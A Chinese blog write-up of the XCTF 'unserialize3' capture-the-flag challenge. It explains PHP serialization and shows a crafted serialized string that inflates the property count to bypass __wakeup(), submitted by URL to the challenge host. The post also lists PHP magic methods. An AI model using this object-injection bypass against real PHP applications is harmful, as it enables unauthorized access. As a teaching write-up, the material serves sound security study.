2020.3.30 xctf(unserialize3)③

本文深入解析了PHP反序列化机制及__wakeup魔术方法的漏洞原理,通过实例展示了如何构造特定的序列化字符串绕过__wakeup方法,实现对目标网站的潜在攻击。

在这里插入图片描述我们访问目标网址,根据__wakeup魔术方法和题目名字,可以猜到这里是用到了php反序列化
在这里插入图片描述

class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
?code=                           //可能是在提示我们http://111.198.29.45:30940?code=一个值进行利用

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)

<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak));       //输出被序列化的对象(peak)
?>

代码执行结果:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}
/*xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
*/

O代表结构类型为:类:4表示类名长度:接着是类名:属性(成员)个数
大括号内分别是:属性名类型;长度:名称:值类型:长度:值

因此,我们要反序列化xctf类的同时还要绕过__wakeup方法的执行(如果不绕过__wakeup()方法,那么将会输出bad requests并退出脚本),__wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。因此,需要修改序列化字符串中的属性个数:
当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为2,即如下所示

O:4:"xctf":2:{s:4:"flag";s:3:"111";}

最后我们通过url传递参数:

http://111.198.29.45:30940?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

在这里插入图片描述

关于反序列化

简单的说,序列化是将变量转换为可保存或可传输的字符串的过程。
而反序列化是在适当的时候吧这个字符串再转化成原来的变量使用。

php的序列化和反序列化由serialize()和unserialize()这两个函数来完成
serialize()完成序列化的操作,将传入的值转换为序列化后的字符串
而unserialize()完成反序列化的操作,将字符串转换成原来的变量

在这里插入图片描述比如:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;} 表示序列化的是一个对象,对象所在类名是"xctf"、该对象有一个属性,属性名为一个长度为4的字符串"flag"、该属性值为一个长度为3的字符串"111"

与序列化和反序列化的魔术方法主要是:

__construct()	//当一个对象创建时被调用
__destruct() 	//对象被销毁时触发
__wakeup() 	//使用unserialize时触发
__sleep() 	//使用serialize时触发
__toString() 	//把类当做字符串时触发
__get() 	//用于从不可访问的属性读取数据
__set() 	//用于将数据写入不可访问的属性

【完美复现】面向配电网韧性提升的移动储能预布局与动态调度策略【IEEE33节点】(Matlab代码实现)内容概要:本文介绍了基于IEEE33节点的配电网韧性提升方法,重点研究了移动储能系统的预布局与动态调度策略。通过Matlab代码实现,提出了一种结合预配置和动态调度的两阶段优化模型,旨在应对电网故障或极端事件时快速恢复供电能力。文中采用了多种智能优化算法(如PSO、MPSO、TACPSO、SOA、GA等)进行对比分析,验证所提策略的有效性和优越性。研究不仅关注移动储能单元的初始部署位置,还深入探讨其在故障发生后的动态路径规划与电力支援过程,从而全面提升配电网的韧性水平。; 适合人群:具备电力系统基础知识和Matlab编程能力的研究生、科研人员及从事智能电网、能源系统优化等相关领域的工程技术人员。; 使用场景及目标:①用于科研复现,特别是IEEE顶刊或SCI一区论文中关于配电网韧性、应急电源调度的研究;②支撑电力系统在灾害或故障条件下的恢复力优化设计,提升实际电网应对突发事件的能力;③为移动储能系统在智能配电网中的应用提供理论依据和技术支持。; 阅读建议:建议读者结合提供的Matlab代码逐模块分析,重点关注目标函数建模、约束条件设置以及智能算法的实现细节。同时推荐参考文中提及的MPS预配置与动态调度上下两部分,系统掌握完整的技术路线,并可通过替换不同算法或测试系统进一步拓展研究。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值